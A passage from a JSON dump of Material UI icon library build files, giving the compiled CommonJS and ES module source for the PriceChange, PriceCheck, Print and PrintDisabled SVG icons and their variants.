    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m-8 6H8v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1H8v-1H6v-2h4v-1H7c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1V7h2v1h2zm4 6.25-2-2h4zM14 10l2-2 2 2z\"\n}), 'PriceChange');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChange.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m-8 6H8v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1H8v-1H6v-2h4v-1H7c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1V7h2v1h2zm4 6.25-2-2h4zM14 10l2-2 2 2z\"\n}), 'PriceChange');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChangeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 17h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1H8v-1h4V8h-2V7H8v1H7c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H6v2h2zM20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16zm-6-8 2-2 2 2m0 4.25-2 2-2-2\"\n}), 'PriceChangeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChangeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 17h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1H8v-1h4V8h-2V7H8v1H7c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H6v2h2zM20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16zm-6-8 2-2 2 2m0 4.25-2 2-2-2\"\n}), 'PriceChangeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChangeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m-9 6H8v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1c0 .55-.45 1-1 1s-1-.45-1-1H7c-.55 0-1-.45-1-1s.45-1 1-1h3v-1H7c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1c0-.55.45-1 1-1s1 .45 1 1h1c.55 0 1 .45 1 1s-.45 1-1 1m4.65 5.9L14 14.25h4l-1.65 1.65c-.19.19-.51.19-.7 0M14 10l1.65-1.65c.2-.2.51-.2.71 0L18 10z\"\n}), 'PriceChangeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChangeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m-9 6H8v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1c0 .55-.45 1-1 1s-1-.45-1-1H7c-.55 0-1-.45-1-1s.45-1 1-1h3v-1H7c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1c0-.55.45-1 1-1s1 .45 1 1h1c.55 0 1 .45 1 1s-.45 1-1 1m4.65 5.9L14 14.25h4l-1.65 1.65c-.19.19-.51.19-.7 0M14 10l1.65-1.65c.2-.2.51-.2.71 0L18 10z\"\n}), 'PriceChangeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChangeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm10 6H8v1h4v5h-2v1H8v-1H6v-2h4v-1H6V8h2V7h2v1h2zm4 6.25-2-2h4zM14 10l2-2 2 2z\"\n}), 'PriceChangeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChangeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm10 6H8v1h4v5h-2v1H8v-1H6v-2h4v-1H6V8h2V7h2v1h2zm4 6.25-2-2h4zM14 10l2-2 2 2z\"\n}), 'PriceChangeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChangeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zM16 8l2 2h-4zm2 6.25-2 2-2-2zM6 14h4v-1H7c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1V7h2v1h2v2H8v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1H8v-1H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 17h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1H8v-1h4V8h-2V7H8v1H7c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H6v2h2zm8-9-2 2h4zm2 6.25h-4l2 2z\"\n}, \"2\")], 'PriceChangeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceChangeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zM16 8l2 2h-4zm2 6.25-2 2-2-2zM6 14h4v-1H7c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1V7h2v1h2v2H8v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1H8v-1H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 17h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1H8v-1h4V8h-2V7H8v1H7c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H6v2h2zm8-9-2 2h4zm2 6.25h-4l2 2z\"\n}, \"2\")], 'PriceChangeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheck.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13V9c0-.55-.45-1-1-1H7V6h5V4H9.5V3h-2v1H6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4v2H5v2h2.5v1h2v-1H11c.55 0 1-.45 1-1m7.59-.48-5.66 5.65-2.83-2.83-1.41 1.42L13.93 21 21 13.93z\"\n}), 'PriceCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheck.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13V9c0-.55-.45-1-1-1H7V6h5V4H9.5V3h-2v1H6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4v2H5v2h2.5v1h2v-1H11c.55 0 1-.45 1-1m7.59-.48-5.66 5.65-2.83-2.83-1.41 1.42L13.93 21 21 13.93z\"\n}), 'PriceCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheckOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13V9c0-.55-.45-1-1-1H6V6h5V4H8.5V3h-2v1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4v2H4v2h2.5v1h2v-1H10c.55 0 1-.45 1-1m8.59-.48-5.66 5.65-2.83-2.83-1.41 1.42L13.93 21 21 13.93z\"\n}), 'PriceCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheckOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13V9c0-.55-.45-1-1-1H6V6h5V4H8.5V3h-2v1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4v2H4v2h2.5v1h2v-1H10c.55 0 1-.45 1-1m8.59-.48-5.66 5.65-2.83-2.83-1.41 1.42L13.93 21 21 13.93z\"\n}), 'PriceCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheckRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13V9c0-.55-.45-1-1-1H6V6h4c.55 0 1-.45 1-1s-.45-1-1-1H8.5c0-.55-.45-1-1-1s-1 .45-1 1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4v2H5c-.55 0-1 .45-1 1s.45 1 1 1h1.5c0 .55.45 1 1 1s1-.45 1-1H10c.55 0 1-.45 1-1m7.88.22-4.95 4.95-2.12-2.12a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0l5.66-5.66c.39-.39.39-1.02 0-1.41-.4-.39-1.03-.39-1.42 0\"\n}), 'PriceCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheckRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13V9c0-.55-.45-1-1-1H6V6h4c.55 0 1-.45 1-1s-.45-1-1-1H8.5c0-.55-.45-1-1-1s-1 .45-1 1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4v2H5c-.55 0-1 .45-1 1s.45 1 1 1h1.5c0 .55.45 1 1 1s1-.45 1-1H10c.55 0 1-.45 1-1m7.88.22-4.95 4.95-2.12-2.12a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0l5.66-5.66c.39-.39.39-1.02 0-1.41-.4-.39-1.03-.39-1.42 0\"\n}), 'PriceCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheckSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8H6V6h5V4H8.5V3h-2v1H4v6h5v2H4v2h2.5v1h2v-1H11zm8.59 4.52-5.66 5.65-2.83-2.83-1.41 1.42L13.93 21 21 13.93z\"\n}), 'PriceCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheckSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8H6V6h5V4H8.5V3h-2v1H4v6h5v2H4v2h2.5v1h2v-1H11zm8.59 4.52-5.66 5.65-2.83-2.83-1.41 1.42L13.93 21 21 13.93z\"\n}), 'PriceCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheckTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13V9c0-.55-.45-1-1-1H6V6h5V4H8.5V3h-2v1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4v2H4v2h2.5v1h2v-1H10c.55 0 1-.45 1-1m8.59-.48-5.66 5.65-2.83-2.83-1.41 1.42L13.93 21 21 13.93z\"\n}), 'PriceCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PriceCheckTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13V9c0-.55-.45-1-1-1H6V6h5V4H8.5V3h-2v1H5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4v2H4v2h2.5v1h2v-1H10c.55 0 1-.45 1-1m8.59-.48-5.66 5.65-2.83-2.83-1.41 1.42L13.93 21 21 13.93z\"\n}), 'PriceCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Print.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3m-3 11H8v-5h8zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1-9H6v4h12z\"\n}), 'Print');"
  },
  {
    "path": "packages/mui-icons-material/lib/Print.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3m-3 11H8v-5h8zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1-9H6v4h12z\"\n}), 'Print');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.1 17H22v-6c0-1.7-1.3-3-3-3h-9zm-.1-7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-1-3V3H6v1.1L9 7zM1.2 1.8 0 3l4.9 5C3.3 8.1 2 9.4 2 11v6h4v4h11.9l3 3 1.3-1.3zM8 19v-5h2.9l5 5z\"\n}), 'PrintDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.1 17H22v-6c0-1.7-1.3-3-3-3h-9zm-.1-7c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-1-3V3H6v1.1L9 7zM1.2 1.8 0 3l4.9 5C3.3 8.1 2 9.4 2 11v6h4v4h11.9l3 3 1.3-1.3zM8 19v-5h2.9l5 5z\"\n}), 'PrintDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.6 0 3.01 5 8c-1.66 0-3 1.34-3 3v6h4v4h12l2.95 2.96 1.41-1.41zM6 15H4v-4c0-.55.45-1 1-1h2l3 3H6zm2 4v-4h4l4 4zM8 5h8v3h-5.34l2 2H19c.55 0 1 .45 1 1v4l-2 .01V13h-2.34l4 4H22v-6c0-1.66-1.34-3-3-3h-1V3H6v.36l2 2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"11.51\",\n  r: \"1\"\n}, \"1\")], 'PrintDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.6 0 3.01 5 8c-1.66 0-3 1.34-3 3v6h4v4h12l2.95 2.96 1.41-1.41zM6 15H4v-4c0-.55.45-1 1-1h2l3 3H6zm2 4v-4h4l4 4zM8 5h8v3h-5.34l2 2H19c.55 0 1 .45 1 1v4l-2 .01V13h-2.34l4 4H22v-6c0-1.66-1.34-3-3-3h-1V3H6v.36l2 2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"11.51\",\n  r: \"1\"\n}, \"1\")], 'PrintDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.12 2.32a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L4.98 8C3.33 8.01 2 9.35 2 11v4c0 1.1.9 2 2 2h2v2c0 1.1.9 2 2 2h8c.55 0 1.04-.22 1.4-.58l2.83 2.83c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM15 19H9c-.55 0-1-.45-1-1v-4h2.98l4.72 4.72c-.19.17-.43.28-.7.28m4-11h-8.37l9 9H20c1.1 0 2-.9 2-2v-4c0-1.66-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2-5c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1H7c-.37 0-.68.21-.85.51L9.63 7z\"\n}), 'PrintDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.12 2.32a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L4.98 8C3.33 8.01 2 9.35 2 11v4c0 1.1.9 2 2 2h2v2c0 1.1.9 2 2 2h8c.55 0 1.04-.22 1.4-.58l2.83 2.83c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM15 19H9c-.55 0-1-.45-1-1v-4h2.98l4.72 4.72c-.19.17-.43.28-.7.28m4-11h-8.37l9 9H20c1.1 0 2-.9 2-2v-4c0-1.66-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2-5c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1H7c-.37 0-.68.21-.85.51L9.63 7z\"\n}), 'PrintDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.65 7H18V3.01H6v.35zm1.01 1.01 9 8.99H22v-5.99c0-1.66-1.34-3-3-3zM19 10c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M1.41 1.6 0 3.01l5 5c-1.66 0-3 1.33-3 2.99v6h4v4h12l2.95 2.96 1.41-1.41zM8 19.01V15h4l4 4z\"\n}), 'PrintDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.65 7H18V3.01H6v.35zm1.01 1.01 9 8.99H22v-5.99c0-1.66-1.34-3-3-3zM19 10c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M1.41 1.6 0 3.01l5 5c-1.66 0-3 1.33-3 2.99v6h4v4h12l2.95 2.96 1.41-1.41zM8 19.01V15h4l4 4z\"\n}), 'PrintDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 10H5c-.55 0-1 .45-1 1v4h2v-2h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.6 0 3.01 5 8c-1.66 0-3 1.34-3 3v6h4v4h12l2.95 2.96 1.41-1.41zM6 15H4v-4c0-.55.45-1 1-1h2l3 3H6zm2 4v-4h4l4 4z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 15.01 2-.01v-4c0-.55-.45-1-1-1h-6.34l3 3H18zm-1-3.5c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"11.51\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 5H8v.35L10.66 8H16z\",\n  opacity: \".3\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8h-1V3H6v.36l2 2V5h8v3h-5.34l2 2H19c.55 0 1 .45 1 1v4l-2 .01V13h-2.34l4 4H22v-6c0-1.66-1.34-3-3-3\"\n}, \"5\")], 'PrintDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrintDisabledTwoTone.mjs",
